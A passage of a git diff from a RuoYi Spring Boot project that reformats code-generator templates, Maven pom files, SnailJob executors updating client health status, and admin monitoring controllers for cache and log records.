$column.edit) - /** - * $column.columnComment - */ - $column.javaField?:#if($column.javaField.indexOf("id") != -1 || $column.javaField.indexOf("Id") != -1) string | number; - #elseif($column.javaType == 'Long' || $column.javaType == 'Integer' || $column.javaType == 'Double' || $column.javaType == 'Float' || $column.javaType == 'BigDecimal') number; - #elseif($column.javaType == 'Boolean') boolean; - #else string; - #end -#end -#end -} - -export interface ${BusinessName}Query #if(!${treeCode})extends PageQuery #end{ - -#foreach ($column in $columns) -#if($column.query) - /** - * $column.columnComment - */ - $column.javaField?:#if($column.javaField.indexOf("id") != -1 || $column.javaField.indexOf("Id") != -1) string | number; - #elseif($column.javaType == 'Long' || $column.javaType == 'Integer' || $column.javaType == 'Double' || $column.javaType == 'Float' || $column.javaType == 'BigDecimal') number; - #elseif($column.javaType == 'Boolean') boolean; - #else string; - #end -#end -#end - /** - * 日期范围参数 - */ - params?: any; -} - - - +export interface ${BusinessName}VO { +#foreach ($column in $columns) +#if($column.list) + /** + * $column.columnComment + */ + $column.javaField:#if($column.javaField.indexOf("id") != -1 || $column.javaField.indexOf("Id") != -1) string | number; + #elseif($column.javaType == 'Long' || $column.javaType == 'Integer' || $column.javaType == 'Double' || $column.javaType == 'Float' || $column.javaType == 'BigDecimal') number; + #elseif($column.javaType == 'Boolean') boolean; + #else string; + #end +#if($column.htmlType == "imageUpload") + /** + * ${column.columnComment}Url + */ + ${column.javaField}Url: string; +#end +#end +#end +#if ($table.tree) + /** + * 子对象 + */ + children: ${BusinessName}VO[]; +#end +} + +export interface ${BusinessName}Form extends BaseEntity { +#foreach ($column in $columns) +#if($column.insert || $column.edit) + /** + * $column.columnComment + */ + $column.javaField?:#if($column.javaField.indexOf("id") != -1 || $column.javaField.indexOf("Id") != -1) string | number; + #elseif($column.javaType == 'Long' || $column.javaType == 'Integer' || $column.javaType == 'Double' || $column.javaType == 'Float' || $column.javaType == 'BigDecimal') number; + #elseif($column.javaType == 'Boolean') boolean; + #else string; + #end +#end +#end +} + +export interface ${BusinessName}Query #if(!${treeCode})extends PageQuery #end{ + +#foreach ($column in $columns) +#if($column.query) + /** + * $column.columnComment + */ + $column.javaField?:#if($column.javaField.indexOf("id") != -1 || $column.javaField.indexOf("Id") != -1) string | number; + #elseif($column.javaType == 'Long' || $column.javaType == 'Integer' || $column.javaType == 'Double' || $column.javaType == 'Float' || $column.javaType == 'BigDecimal') number; + #elseif($column.javaType == 'Boolean') boolean; + #else string; + #end +#end +#end + /** + * 日期范围参数 + */ + params?: any; +} + + + diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm index b038e49..c6deb68 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm @@ -1,505 +1,505 @@ - - - + + + diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm index 8359fef..1facee6 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm @@ -1,466 +1,466 @@ - - - + + + diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm index 9fb48d9..2e03ff3 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-job/pom.xml b/ruoyi-modules/ruoyi-job/pom.xml index b5dd53b..da6c54a 100644 --- a/ruoyi-modules/ruoyi-job/pom.xml +++ b/ruoyi-modules/ruoyi-job/pom.xml @@ -1,38 +1,38 @@ - - - - org.dromara - ruoyi-modules - ${revision} - - 4.0.0 - jar - ruoyi-job - - - 任务调度 - - - - - - - org.dromara - ruoyi-common-json - - - - org.dromara - ruoyi-common-job - - - org.dromara - ruoyi-work - - - - - - + + + + org.dromara + ruoyi-modules + ${revision} + + 4.0.0 + jar + ruoyi-job + + + 任务调度 + + + + + + + org.dromara + ruoyi-common-json + + + + org.dromara + ruoyi-common-job + + + org.dromara + ruoyi-work + + + + + + diff --git a/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/package-info.java b/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/package-info.java index 2f118b0..9fd9268 100644 --- a/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/package-info.java +++ b/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/package-info.java @@ -1 +1 @@ -package org.dromara.job; +package org.dromara.job; diff --git a/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/snailjob/TestAnnoJobExecutor.java b/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/snailjob/TestAnnoJobExecutor.java index f42e021..a791579 100644 --- a/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/snailjob/TestAnnoJobExecutor.java +++ b/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/snailjob/TestAnnoJobExecutor.java @@ -1,135 +1,135 @@ -package org.dromara.job.snailjob; - -import com.aizuda.snailjob.client.job.core.annotation.JobExecutor; -import com.aizuda.snailjob.client.job.core.dto.JobArgs; -import com.aizuda.snailjob.client.model.ExecuteResult; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.work.domain.TpClient; -import org.dromara.work.domain.TpOrder; -import org.dromara.work.service.ITpClientService; -import org.dromara.work.service.ITpOrderService; -import org.springframework.stereotype.Component; - -import java.time.LocalDate; -import java.time.format.DateTimeFormatter; -import java.util.ArrayList; -import java.util.List; - -/** - * @author opensnail - * @date 2024-05-17 - */ -@Component -@RequiredArgsConstructor -@JobExecutor(name = "testJobExecutor") -public class TestAnnoJobExecutor { - - private final ITpOrderService tpOrderService; - - private final ITpClientService tpClientService; - - /** - * 执行工作任务的方法 - * 根据客户在特定时间范围内的订单活动情况,更新客户的健康状态 - * 客户的健康状态根据其最近的订单活动分为三个等级: - * 1 - 在过去180天内有订单 - * 2 - 在过去365天内有订单,但不是在过去180天内 - * 3 - 在过去365天内没有订单 - * - * @param jobArgs 工作参数,用于执行任务 - * @return ExecuteResult 类型的执行结果,表示任务执行是否成功 - */ - public ExecuteResult jobExecute(JobArgs jobArgs) { - // 获取当前日期前180天和365天的日期 - String dateMinus180Days = getDateBeforeCurrent(180L); - String dateMinus365Days = getDateBeforeCurrent(365L); - - // 查询所有客户列表 - List list = tpClientService.queryAllList(); - // 如果客户列表为空,直接返回执行成功 - if (list.isEmpty()) { - return ExecuteResult.success("执行成功"); - } - - // 初始化需要更新的客户列表 - List newList = new ArrayList<>(); - for (TpClient tpClient : list) { - Long clientId = tpClient.getId(); - // 构建查询条件,查找未删除且属于当前客户的订单 - LambdaQueryWrapper baseWrapper = new LambdaQueryWrapper() - .eq(TpOrder::getIsDel, 1) - .eq(TpOrder::getKid, clientId); - - // 检查客户在过去180天内是否有订单 - boolean hasRecentOrderIn180Days = tpOrderService.exists( - baseWrapper.clone().ge(TpOrder::getAddTime, dateMinus180Days)); - - if (hasRecentOrderIn180Days) { - // 如果客户健康状态不是1,则设置为1并添加到更新列表 - if (tpClient.getHealth() != 1) { - tpClient.setHealth(1); - newList.add(tpClient); - } - continue; - } - - // 检查客户在过去365天内是否有订单 - boolean hasRecentOrderIn365Days = tpOrderService.exists( - baseWrapper.clone().ge(TpOrder::getAddTime, dateMinus365Days)); - - if (hasRecentOrderIn365Days) { - // 如果客户健康状态不是2,则设置为2并添加到更新列表 - if (tpClient.getHealth() != 2) { - tpClient.setHealth(2); - newList.add(tpClient); - } - continue; - } - - // 如果客户在过去365天内没有订单,且健康状态不是3,则设置为3并添加到更新列表 - if (tpClient.getHealth() != 3) { - tpClient.setHealth(3); - newList.add(tpClient); - } - } - - try { - // 如果有需要更新的客户,尝试批量更新 - if (!newList.isEmpty()) { - tpClientService.updateBatchById(newList); - } - } catch (Exception e) { - // 如果更新失败,打印错误信息 - System.err.println("批量更新客户健康状态失败: " + e.getMessage()); - } - - // 返回执行成功 - return ExecuteResult.success("执行成功"); - } - - - private static String getDateBeforeCurrent(Long days) { - LocalDate currentDate = LocalDate.now(); - LocalDate targetDate = currentDate.minusDays(days); - return targetDate.format(DateTimeFormatter.ISO_DATE); - } - - - - public static String getCurrentDateMinus180Days(Long days) { - try { - // 获取当前日期 - LocalDate currentDate = LocalDate.now(); - // 计算当前日期减去180天的日期 - LocalDate dateMinus180Days = currentDate.minusDays(days); - // 格式化日期为字符串 - DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd"); - return dateMinus180Days.format(formatter); - } catch (Exception e) { - // 处理异常情况 - e.printStackTrace(); - return null; - } - } -} +package org.dromara.job.snailjob; + +import com.aizuda.snailjob.client.job.core.annotation.JobExecutor; +import com.aizuda.snailjob.client.job.core.dto.JobArgs; +import com.aizuda.snailjob.client.model.ExecuteResult; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.work.domain.TpClient; +import org.dromara.work.domain.TpOrder; +import org.dromara.work.service.ITpClientService; +import org.dromara.work.service.ITpOrderService; +import org.springframework.stereotype.Component; + +import java.time.LocalDate; +import java.time.format.DateTimeFormatter; +import java.util.ArrayList; +import java.util.List; + +/** + * @author opensnail + * @date 2024-05-17 + */ +@Component +@RequiredArgsConstructor +@JobExecutor(name = "testJobExecutor") +public class TestAnnoJobExecutor { + + private final ITpOrderService tpOrderService; + + private final ITpClientService tpClientService; + + /** + * 执行工作任务的方法 + * 根据客户在特定时间范围内的订单活动情况,更新客户的健康状态 + * 客户的健康状态根据其最近的订单活动分为三个等级: + * 1 - 在过去180天内有订单 + * 2 - 在过去365天内有订单,但不是在过去180天内 + * 3 - 在过去365天内没有订单 + * + * @param jobArgs 工作参数,用于执行任务 + * @return ExecuteResult 类型的执行结果,表示任务执行是否成功 + */ + public ExecuteResult jobExecute(JobArgs jobArgs) { + // 获取当前日期前180天和365天的日期 + String dateMinus180Days = getDateBeforeCurrent(180L); + String dateMinus365Days = getDateBeforeCurrent(365L); + + // 查询所有客户列表 + List list = tpClientService.queryAllList(); + // 如果客户列表为空,直接返回执行成功 + if (list.isEmpty()) { + return ExecuteResult.success("执行成功"); + } + + // 初始化需要更新的客户列表 + List newList = new ArrayList<>(); + for (TpClient tpClient : list) { + Long clientId = tpClient.getId(); + // 构建查询条件,查找未删除且属于当前客户的订单 + LambdaQueryWrapper baseWrapper = new LambdaQueryWrapper() + .eq(TpOrder::getIsDel, 1) + .eq(TpOrder::getKid, clientId); + + // 检查客户在过去180天内是否有订单 + boolean hasRecentOrderIn180Days = tpOrderService.exists( + baseWrapper.clone().ge(TpOrder::getAddTime, dateMinus180Days)); + + if (hasRecentOrderIn180Days) { + // 如果客户健康状态不是1,则设置为1并添加到更新列表 + if (tpClient.getHealth() != 1) { + tpClient.setHealth(1); + newList.add(tpClient); + } + continue; + } + + // 检查客户在过去365天内是否有订单 + boolean hasRecentOrderIn365Days = tpOrderService.exists( + baseWrapper.clone().ge(TpOrder::getAddTime, dateMinus365Days)); + + if (hasRecentOrderIn365Days) { + // 如果客户健康状态不是2,则设置为2并添加到更新列表 + if (tpClient.getHealth() != 2) { + tpClient.setHealth(2); + newList.add(tpClient); + } + continue; + } + + // 如果客户在过去365天内没有订单,且健康状态不是3,则设置为3并添加到更新列表 + if (tpClient.getHealth() != 3) { + tpClient.setHealth(3); + newList.add(tpClient); + } + } + + try { + // 如果有需要更新的客户,尝试批量更新 + if (!newList.isEmpty()) { + tpClientService.updateBatchById(newList); + } + } catch (Exception e) { + // 如果更新失败,打印错误信息 + System.err.println("批量更新客户健康状态失败: " + e.getMessage()); + } + + // 返回执行成功 + return ExecuteResult.success("执行成功"); + } + + + private static String getDateBeforeCurrent(Long days) { + LocalDate currentDate = LocalDate.now(); + LocalDate targetDate = currentDate.minusDays(days); + return targetDate.format(DateTimeFormatter.ISO_DATE); + } + + + + public static String getCurrentDateMinus180Days(Long days) { + try { + // 获取当前日期 + LocalDate currentDate = LocalDate.now(); + // 计算当前日期减去180天的日期 + LocalDate dateMinus180Days = currentDate.minusDays(days); + // 格式化日期为字符串 + DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd"); + return dateMinus180Days.format(formatter); + } catch (Exception e) { + // 处理异常情况 + e.printStackTrace(); + return null; + } + } +} diff --git a/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/snailjob/TestClassJobExecutor.java b/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/snailjob/TestClassJobExecutor.java index 6f7c21f..3a6edb9 100644 --- a/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/snailjob/TestClassJobExecutor.java +++ b/ruoyi-modules/ruoyi-job/src/main/java/org/dromara/job/snailjob/TestClassJobExecutor.java @@ -1,19 +1,19 @@ -package org.dromara.job.snailjob; - -import com.aizuda.snailjob.client.job.core.dto.JobArgs; -import com.aizuda.snailjob.client.job.core.executor.AbstractJobExecutor; -import com.aizuda.snailjob.client.model.ExecuteResult; -import org.springframework.stereotype.Component; - -/** - * @author opensnail - * @date 2024-05-17 - */ -@Component -public class TestClassJobExecutor extends AbstractJobExecutor { - - @Override - protected ExecuteResult doJobExecute(JobArgs jobArgs) { - return ExecuteResult.success("TestJobExecutor测试成功"); - } -} +package org.dromara.job.snailjob; + +import com.aizuda.snailjob.client.job.core.dto.JobArgs; +import com.aizuda.snailjob.client.job.core.executor.AbstractJobExecutor; +import com.aizuda.snailjob.client.model.ExecuteResult; +import org.springframework.stereotype.Component; + +/** + * @author opensnail + * @date 2024-05-17 + */ +@Component +public class TestClassJobExecutor extends AbstractJobExecutor { + + @Override + protected ExecuteResult doJobExecute(JobArgs jobArgs) { + return ExecuteResult.success("TestJobExecutor测试成功"); + } +} diff --git a/ruoyi-modules/ruoyi-system/pom.xml b/ruoyi-modules/ruoyi-system/pom.xml index 0fc6d55..6a57539 100644 --- a/ruoyi-modules/ruoyi-system/pom.xml +++ b/ruoyi-modules/ruoyi-system/pom.xml @@ -1,105 +1,105 @@ - - - - org.dromara - ruoyi-modules - ${revision} - - 4.0.0 - - ruoyi-system - - - system系统模块 - - - - - - org.dromara - ruoyi-common-core - - - - org.dromara - ruoyi-common-doc - - - - org.dromara - ruoyi-common-mybatis - - - - org.dromara - ruoyi-common-translation - - - - - org.dromara - ruoyi-common-oss - - - - org.dromara - ruoyi-common-log - - - - - org.dromara - ruoyi-common-excel - - - - - org.dromara - ruoyi-common-sms - - - - org.dromara - ruoyi-common-tenant - - - - org.dromara - ruoyi-common-security - - - - org.dromara - ruoyi-common-web - - - - org.dromara - ruoyi-common-idempotent - - - - org.dromara - ruoyi-common-sensitive - - - - org.dromara - ruoyi-common-encrypt - - - - org.dromara - ruoyi-common-websocket - - - - org.dromara - ruoyi-common-sse - - - - - + + + + org.dromara + ruoyi-modules + ${revision} + + 4.0.0 + + ruoyi-system + + + system系统模块 + + + + + + org.dromara + ruoyi-common-core + + + + org.dromara + ruoyi-common-doc + + + + org.dromara + ruoyi-common-mybatis + + + + org.dromara + ruoyi-common-translation + + + + + org.dromara + ruoyi-common-oss + + + + org.dromara + ruoyi-common-log + + + + + org.dromara + ruoyi-common-excel + + + + + org.dromara + ruoyi-common-sms + + + + org.dromara + ruoyi-common-tenant + + + + org.dromara + ruoyi-common-security + + + + org.dromara + ruoyi-common-web + + + + org.dromara + ruoyi-common-idempotent + + + + org.dromara + ruoyi-common-sensitive + + + + org.dromara + ruoyi-common-encrypt + + + + org.dromara + ruoyi-common-websocket + + + + org.dromara + ruoyi-common-sse + + + + + diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/CacheController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/CacheController.java index ee5d9cc..05195d0 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/CacheController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/CacheController.java @@ -1,55 +1,55 @@ -package org.dromara.system.controller.monitor; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.system.domain.vo.CacheListInfoVo; -import org.redisson.spring.data.connection.RedissonConnectionFactory; -import org.springframework.data.redis.connection.RedisConnection; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.util.*; - -/** - * 缓存监控 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@RestController -@RequestMapping("/monitor/cache") -public class CacheController { - - private final RedissonConnectionFactory connectionFactory; - - /** - * 获取缓存监控列表 - */ - @SaCheckPermission("monitor:cache:list") - @GetMapping() - public R getInfo() throws Exception { - RedisConnection connection = connectionFactory.getConnection(); - Properties commandStats = connection.commands().info("commandstats"); - - List> pieList = new ArrayList<>(); - if (commandStats != null) { - commandStats.stringPropertyNames().forEach(key -> { - Map data = new HashMap<>(2); - String property = commandStats.getProperty(key); - data.put("name", StringUtils.removeStart(key, "cmdstat_")); - data.put("value", StringUtils.substringBetween(property, "calls=", ",usec")); - pieList.add(data); - }); - } - - CacheListInfoVo infoVo = new CacheListInfoVo(); - infoVo.setInfo(connection.commands().info()); - infoVo.setDbSize(connection.commands().dbSize()); - infoVo.setCommandStats(pieList); - return R.ok(infoVo); - } - -} +package org.dromara.system.controller.monitor; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.system.domain.vo.CacheListInfoVo; +import org.redisson.spring.data.connection.RedissonConnectionFactory; +import org.springframework.data.redis.connection.RedisConnection; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.*; + +/** + * 缓存监控 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@RestController +@RequestMapping("/monitor/cache") +public class CacheController { + + private final RedissonConnectionFactory connectionFactory; + + /** + * 获取缓存监控列表 + */ + @SaCheckPermission("monitor:cache:list") + @GetMapping() + public R getInfo() throws Exception { + RedisConnection connection = connectionFactory.getConnection(); + Properties commandStats = connection.commands().info("commandstats"); + + List> pieList = new ArrayList<>(); + if (commandStats != null) { + commandStats.stringPropertyNames().forEach(key -> { + Map data = new HashMap<>(2); + String property = commandStats.getProperty(key); + data.put("name", StringUtils.removeStart(key, "cmdstat_")); + data.put("value", StringUtils.substringBetween(property, "calls=", ",usec")); + pieList.add(data); + }); + } + + CacheListInfoVo infoVo = new CacheListInfoVo(); + infoVo.setInfo(connection.commands().info()); + infoVo.setDbSize(connection.commands().dbSize()); + infoVo.setCommandStats(pieList); + return R.ok(infoVo); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysLogininforController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysLogininforController.java index 98ac2d5..0fa213d 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysLogininforController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysLogininforController.java @@ -1,89 +1,89 @@ -package org.dromara.system.controller.monitor; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.CacheConstants; -import org.dromara.common.core.domain.R; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysLogininforBo; -import org.dromara.system.domain.vo.SysLogininforVo; -import org.dromara.system.service.ISysLogininforService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 系统访问记录 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/monitor/logininfor") -public class SysLogininforController extends BaseController { - - private final ISysLogininforService logininforService; - - /** - * 获取系统访问记录列表 - */ - @SaCheckPermission("monitor:logininfor:list") - @GetMapping("/list") - public TableDataInfo list(SysLogininforBo logininfor, PageQuery pageQuery) { - return logininforService.selectPageLogininforList(logininfor, pageQuery); - } - - /** - * 导出系统访问记录列表 - */ - @Log(title = "登录日志", businessType = BusinessType.EXPORT) - @SaCheckPermission("monitor:logininfor:export") - @PostMapping("/export") - public void export(SysLogininforBo logininfor, HttpServletResponse response) { - List list = logininforService.selectLogininforList(logininfor); - ExcelUtil.exportExcel(list, "登录日志", SysLogininforVo.class, response); - } - - /** - * 批量删除登录日志 - * @param infoIds 日志ids - */ - @SaCheckPermission("monitor:logininfor:remove") - @Log(title = "登录日志", businessType = BusinessType.DELETE) - @DeleteMapping("/{infoIds}") - public R remove(@PathVariable Long[] infoIds) { - return toAjax(logininforService.deleteLogininforByIds(infoIds)); - } - - /** - * 清理系统访问记录 - */ - @SaCheckPermission("monitor:logininfor:remove") - @Log(title = "登录日志", businessType = BusinessType.CLEAN) - @DeleteMapping("/clean") - public R clean() { - logininforService.cleanLogininfor(); - return R.ok(); - } - - @SaCheckPermission("monitor:logininfor:unlock") - @Log(title = "账户解锁", businessType = BusinessType.OTHER) - @GetMapping("/unlock/{userName}") - public R unlock(@PathVariable("userName") String userName) { - String loginName = CacheConstants.PWD_ERR_CNT_KEY + userName; - if (RedisUtils.hasKey(loginName)) { - RedisUtils.deleteObject(loginName); - } - return R.ok(); - } - -} +package org.dromara.system.controller.monitor; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.CacheConstants; +import org.dromara.common.core.domain.R; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysLogininforBo; +import org.dromara.system.domain.vo.SysLogininforVo; +import org.dromara.system.service.ISysLogininforService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 系统访问记录 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/monitor/logininfor") +public class SysLogininforController extends BaseController { + + private final ISysLogininforService logininforService; + + /** + * 获取系统访问记录列表 + */ + @SaCheckPermission("monitor:logininfor:list") + @GetMapping("/list") + public TableDataInfo list(SysLogininforBo logininfor, PageQuery pageQuery) { + return logininforService.selectPageLogininforList(logininfor, pageQuery); + } + + /** + * 导出系统访问记录列表 + */ + @Log(title = "登录日志", businessType = BusinessType.EXPORT) + @SaCheckPermission("monitor:logininfor:export") + @PostMapping("/export") + public void export(SysLogininforBo logininfor, HttpServletResponse response) { + List list = logininforService.selectLogininforList(logininfor); + ExcelUtil.exportExcel(list, "登录日志", SysLogininforVo.class, response); + } + + /** + * 批量删除登录日志 + * @param infoIds 日志ids + */ + @SaCheckPermission("monitor:logininfor:remove") + @Log(title = "登录日志", businessType = BusinessType.DELETE) + @DeleteMapping("/{infoIds}") + public R remove(@PathVariable Long[] infoIds) { + return toAjax(logininforService.deleteLogininforByIds(infoIds)); + } + + /** + * 清理系统访问记录 + */ + @SaCheckPermission("monitor:logininfor:remove") + @Log(title = "登录日志", businessType = BusinessType.CLEAN) + @DeleteMapping("/clean") + public R clean() { + logininforService.cleanLogininfor(); + return R.ok(); + } + + @SaCheckPermission("monitor:logininfor:unlock") + @Log(title = "账户解锁", businessType = BusinessType.OTHER) + @GetMapping("/unlock/{userName}") + public R unlock(@PathVariable("userName") String userName) { + String loginName = CacheConstants.PWD_ERR_CNT_KEY + userName; + if (RedisUtils.hasKey(loginName)) { + RedisUtils.deleteObject(loginName); + } + return R.ok(); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysOperlogController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysOperlogController.java index 5d31639..9f4e6f1 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysOperlogController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysOperlogController.java @@ -1,77 +1,77 @@ -package org.dromara.system.controller.monitor; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysOperLogBo; -import org.dromara.system.domain.vo.SysOperLogVo; -import org.dromara.system.service.ISysOperLogService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 操作日志记录 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/monitor/operlog") -public class SysOperlogController extends BaseController { - - private final ISysOperLogService operLogService; - - /** - * 获取操作日志记录列表 - */ - @SaCheckPermission("monitor:operlog:list") - @GetMapping("/list") - public TableDataInfo list(SysOperLogBo operLog, PageQuery pageQuery) { - return operLogService.selectPageOperLogList(operLog, pageQuery); - } - - /** - * 导出操作日志记录列表 - */ - @Log(title = "操作日志", businessType = BusinessType.EXPORT) - @SaCheckPermission("monitor:operlog:export") - @PostMapping("/export") - public void export(SysOperLogBo operLog, HttpServletResponse response) { - List list = operLogService.selectOperLogList(operLog); - ExcelUtil.exportExcel(list, "操作日志", SysOperLogVo.class, response); - } - - /** - * 批量删除操作日志记录 - * @param operIds 日志ids - */ - @Log(title = "操作日志", businessType = BusinessType.DELETE) - @SaCheckPermission("monitor:operlog:remove") - @DeleteMapping("/{operIds}") - public R remove(@PathVariable Long[] operIds) { - return toAjax(operLogService.deleteOperLogByIds(operIds)); - } - - /** - * 清理操作日志记录 - */ - @Log(title = "操作日志", businessType = BusinessType.CLEAN) - @SaCheckPermission("monitor:operlog:remove") - @DeleteMapping("/clean") - public R clean() { - operLogService.cleanOperLog(); - return R.ok(); - } -} +package org.dromara.system.controller.monitor; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysOperLogBo; +import org.dromara.system.domain.vo.SysOperLogVo; +import org.dromara.system.service.ISysOperLogService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 操作日志记录 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/monitor/operlog") +public class SysOperlogController extends BaseController { + + private final ISysOperLogService operLogService; + + /** + * 获取操作日志记录列表 + */ + @SaCheckPermission("monitor:operlog:list") + @GetMapping("/list") + public TableDataInfo list(SysOperLogBo operLog, PageQuery pageQuery) { + return operLogService.selectPageOperLogList(operLog, pageQuery); + } + + /** + * 导出操作日志记录列表 + */ + @Log(title = "操作日志", businessType = BusinessType.EXPORT) + @SaCheckPermission("monitor:operlog:export") + @PostMapping("/export") + public void export(SysOperLogBo operLog, HttpServletResponse response) { + List list = operLogService.selectOperLogList(operLog); + ExcelUtil.exportExcel(list, "操作日志", SysOperLogVo.class, response); + } + + /** + * 批量删除操作日志记录 + * @param operIds 日志ids + */ + @Log(title = "操作日志", businessType = BusinessType.DELETE) + @SaCheckPermission("monitor:operlog:remove") + @DeleteMapping("/{operIds}") + public R remove(@PathVariable Long[] operIds) { + return toAjax(operLogService.deleteOperLogByIds(operIds)); + } + + /** + * 清理操作日志记录 + */ + @Log(title = "操作日志", businessType = BusinessType.CLEAN) + @SaCheckPermission("monitor:operlog:remove") + @DeleteMapping("/clean") + public R clean() { + operLogService.cleanOperLog(); + return R.ok(); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysUserOnlineController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysUserOnlineController.java index 1cab232..eb8af40 100644 --- 